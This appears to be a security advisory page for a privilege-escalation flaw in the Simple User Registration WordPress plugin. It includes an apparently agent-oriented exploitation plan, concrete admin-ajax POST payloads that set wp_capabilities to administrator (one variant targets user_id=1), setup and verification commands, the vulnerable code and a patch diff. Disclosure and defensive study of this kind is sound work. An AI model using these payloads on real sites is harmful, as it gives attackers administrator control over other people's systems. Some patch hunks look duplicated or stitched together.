Simple User Registration <= 6.7 - Authenticated (Subscriber+) Privilege Escalation via profile_save_field
Description
The Simple User Registration plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 6.7 due to insufficient restriction on the 'profile_save_field' function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role by supplying the 'wp_capabilities' parameter during a profile update.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=6.7What Changed in the Fix
Changes introduced in v6.8
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-0844 ## 1. Vulnerability Summary The **Simple User Registration** plugin (<= 6.7) contains an improper access control vulnerability in the `WPR_Profile::profile_save_field` function. The function is intended to allow users to update their profile information …
Show full research plan
Exploitation Research Plan - CVE-2026-0844
1. Vulnerability Summary
The Simple User Registration plugin (<= 6.7) contains an improper access control vulnerability in the WPR_Profile::profile_save_field function. The function is intended to allow users to update their profile information via AJAX. However, it fails to validate or whitelist the meta keys being updated. An authenticated user (Subscriber level) can supply the wp_capabilities parameter (or any other restricted user meta) to overwrite their own role and escalate privileges to Administrator.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
profile_save_field - Authentication: Required (Subscriber or higher)
- Vulnerable Parameter: The function likely iterates over
$_POSTor accepts a dynamic key parameter. The payload targets thewp_capabilitiesmeta key. - Preconditions: The attacker must be logged in as a Subscriber.
3. Code Flow
- Entry Point: A
POSTrequest is sent toadmin-ajax.phpwithaction=profile_save_field. - Hook Registration: In
inc/classes/class.profile.php, the hook is registered:add_action( 'wp_ajax_profile_save_field', array($this, 'profile_save_field') ); - Vulnerable Logic: The
profile_save_fieldfunction (found ininc/classes/class.profile.php) processes the request. Based on the vulnerability description, it lacks a whitelist of allowed fields (unlikeWPR_Register::setting_user_metawhich uses$allowed_meta_keys). - Sink: The function likely calls
update_user_meta(get_current_user_id(), $key, $value)orwp_update_user. If$keyis taken directly from user input (e.g.,$_POST['field_name']or a direct key in$_POST), the attacker can specifywp_capabilities.
4. Nonce Acquisition Strategy
The plugin localizes several scripts in WPR_Profile::load_profile_script. We need to verify if a nonce is required for the profile_save_field action.
- Identify the Source: In
inc/classes/class.profile.php, thewpr_varsobject is localized:$wpr_profile_vars = array( 'ajax_url' => admin_url( 'admin-ajax.php') , 'strings' => $this->change_password_validate(), 'loading' => WPR_URL.'/images/wpr-loader.gif', 'error_msg' => 'Please remove above error before update', ); wp_localize_script( 'wpr-frontend', 'wpr_vars', $wpr_profile_vars); - Observation: The provided source snippet for
wpr_varsdoes not show a nonce. If the functionprofile_save_fielddoes not callcheck_ajax_refererorwp_verify_nonce, no nonce is required. - Check Strategy:
- Navigate to a page containing the
[wpr-profile]shortcode. - Run
browser_eval("window.wpr_vars")to check for hidden nonce keys not seen in the snippet (e.g.,wpr_vars.nonce). - If no nonce is found, proceed with a direct AJAX request.
- Navigate to a page containing the
5. Exploitation Strategy
Step 1: Authentication
Login as a Subscriber user using the provided credentials.
Step 2: Payload Construction
WordPress roles are stored in the wp_capabilities meta key as a serialized array (e.g., a:1:{s:13:"administrator";b:1;}).
When sending a POST request, PHP handles array notation: wp_capabilities[administrator]=1 will be parsed into $_POST['wp_capabilities'] = array('administrator' => 1). When update_user_meta receives this array, it serializes it correctly.
Step 3: Request Execution
Send the following POST request using the http_request tool:
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: If the plugin expects a key/value pair, tryaction=profile_save_field&wp_capabilities[administrator]=1action=profile_save_field&field_name=wp_capabilities&field_value[administrator]=1)
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Profile Page:
wp post create --post_type=page --post_status=publish --post_title="Profile" --post_content="[wpr-profile]" - Verification of ID: Get the attacker's ID:
wp user get attacker --field=ID
7. Expected Results
- The server should return a JSON response (likely
{"status":"success", ...}or similar). - The
wp_usermetatable for the attacker's user ID will now have thewp_capabilitiesvalue updated to represent an Administrator.
8. Verification Steps
- Check Role via CLI:
Expected Output:wp user get attacker --field=rolesadministrator - Check Meta via CLI:
Expected Output:wp user meta get attacker wp_capabilitiesa:1:{s:13:"administrator";b:1;}
9. Alternative Approaches
If the simple key-value update fails, the plugin might expect the data in a specific sub-array or JSON format:
- Alternative 1 (JSON field):
action=profile_save_field&data[wp_capabilities][administrator]=1 - Alternative 2 (Direct User ID exposure):
Check if the function accepts auser_idparameter. If so, an attacker can modify any user's role:action=profile_save_field&user_id=1&wp_capabilities[administrator]=1 - Alternative 3 (Check
inc/classes/class.dashboard.php):
Ifprofile_save_fieldis not the only culprit,without_field_user_form_submitinclass.dashboard.phpalso useswp_ajax_noprivand might be vulnerable to the same logic during registration/update.
Summary
The Simple User Registration plugin for WordPress is vulnerable to privilege escalation because the 'profile_save_field' AJAX handler fails to validate user meta keys. Authenticated attackers with subscriber-level access can overwrite their 'wp_capabilities' meta field to grant themselves administrator privileges.
Vulnerable Code
// inc/classes/class.profile.php add_action( 'wp_ajax_profile_save_field', array($this, 'profile_save_field') ); public function profile_save_field() { // ... $user_id = $_POST['user_id']; if (!$user_id) { wp_send_json(array('status' => 'error', 'message' => __('Invalid user ID', 'wpr'))); } $this->set_user_data( $user_id ); $profile_data = $_POST['wpr']; $this->user->update_profile( $profile_data ); // ... } --- // inc/classes/class.user.php function update_profile( $profile_data ) { // ... foreach( $profile_data as $type => $fields ) { // ... foreach( $fields as $key => $value ) { // ... if( in_array( $key, wpr_get_wp_user_core_fields()) ) { $core_fields[$key] = $value; } else { $this->set_meta( $key, $value ); } } } // ... } function set_meta( $key, $value ) { update_user_meta( $this->id(), $key, $value ); }
Security Fix
Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-registration/6.8: debug-install.php @@ -246,6 +246,11 @@ function without_field_user_form_submit(){ + // SECURITY FIX: Add authorization check + if (!current_user_can('manage_options')) { + wp_send_json(array('status' => 'error', 'message' => __('Unauthorized access', 'wpr'))); + } + if( empty($_POST['wpr_form_type']) ) { $response = array('status'=>'error','message'=>__('Please select any Role and Form','wpr')); @@ -411,6 +411,13 @@ if (!$user_id) { wp_send_json(array('status' => 'error', 'message' => __('Invalid user ID', 'wpr'))); } + + // SECURITY FIX: Authorization check - users can only edit their own profile + $current_user_id = get_current_user_id(); + if ($user_id !== $current_user_id && !current_user_can('edit_users')) { + wp_send_json(array('status' => 'error', 'message' => __('Unauthorized access', 'wpr'))); + } + $this->set_user_data( $user_id ); $profile_data = $_POST['wpr']; @@ -48,8 +48,8 @@ $this->userid = wp_insert_user( $wp_fields ); - // Setting user password into meta - $this->set_meta( 'wpr_password', $wp_fields['user_pass'] ); + // SECURITY FIX: Don't store passwords in user meta + // $this->set_meta( 'wpr_password', $wp_fields['user_pass'] ); if ( is_wp_error( $this->userid ) ) { @@ -273,6 +273,11 @@ // Setting User's meta function set_meta( $key, $value ) { + // SECURITY FIX: Enhanced protection against capability manipulation + if (strpos($key, 'capabilities') !== false || strpos($key, 'user_level') !== false) { + return false; + } + // Security check: prevent setting dangerous meta keys $dangerous_keys = array( 'wp_capabilities', @@ -102,6 +102,11 @@ function set_meta( $key, $value ) { + // SECURITY FIX: Block capability-related keys + if (strpos($key, 'capabilities') !== false || strpos($key, 'user_level') !== false) { + return false; + } + update_user_meta( $this->id(), $key, $value ); } @@ -307,6 +312,22 @@ // Adding extra fields in meta $core_fields = array('ID' => $this->id() ); + // SECURITY FIX: Define allowed meta keys to prevent privilege escalation + $allowed_meta_keys = array( + 'first_name', + 'last_name', + 'description', + 'nickname', + 'display_name', + 'user_url', + 'wpr_phone', + 'wpr_address', + 'wpr_city', + 'wpr_state', + 'wpr_country', + 'wpr_zip' + ); + foreach( $profile_data as $type => $fields ) { // Skipp username and email fields @@ -315,6 +336,16 @@ foreach( $fields as $key => $value ) { // wpr_pa($key); + // SECURITY FIX: Block capability-related keys + if (strpos($key, 'capabilities') !== false || strpos($key, 'user_level') !== false) { + continue; + } + + // SECURITY FIX: Only allow whitelisted meta keys + if (!in_array($key, $allowed_meta_keys) && !in_array($key, wpr_get_wp_user_core_fields())) { + continue; + } + if( in_array( $key, wpr_get_wp_user_core_fields()) ) { $core_fields[$key] = $value;
Exploit Outline
1. Authenticate as a Subscriber-level user. 2. Obtain the current user's ID and the AJAX URL (typically from the localized 'wpr_vars' object on a page containing the [wpr-profile] shortcode). 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'profile_save_field'. 4. Include a 'user_id' parameter matching the attacker's ID. 5. Include a payload in the 'wpr' array that targets the 'wp_capabilities' user meta key. For example: 'wpr[extra][wp_capabilities][administrator]=1'. 6. The server will process the request and call update_user_meta with the provided key and value, elevating the user to an Administrator.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.